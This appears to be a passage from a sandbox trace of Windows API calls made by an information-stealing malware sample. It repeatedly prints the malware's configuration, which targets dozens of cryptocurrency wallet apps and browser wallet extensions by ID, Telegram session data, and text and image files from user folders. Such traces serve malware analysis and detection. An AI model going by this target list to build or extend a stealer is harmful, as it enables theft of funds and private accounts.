Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3982 [0259.769] lstrlenW (lpString="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3982 [0259.769] LocalAlloc (uFlags=0x40, uBytes=0x1f1c) returned 0x6b9720 [0259.769] lstrlenW (lpString="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3982 [0259.770] LocalAlloc (uFlags=0x40, uBytes=0x1f1c) returned 0x6bb648 [0259.770] lstrlenW (lpString="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3982 [0259.770] LocalAlloc (uFlags=0x40, uBytes=0x1f1c) returned 0x6bd570 [0259.770] StrStrW (lpFirst="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.770] lstrlenW (lpString="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension 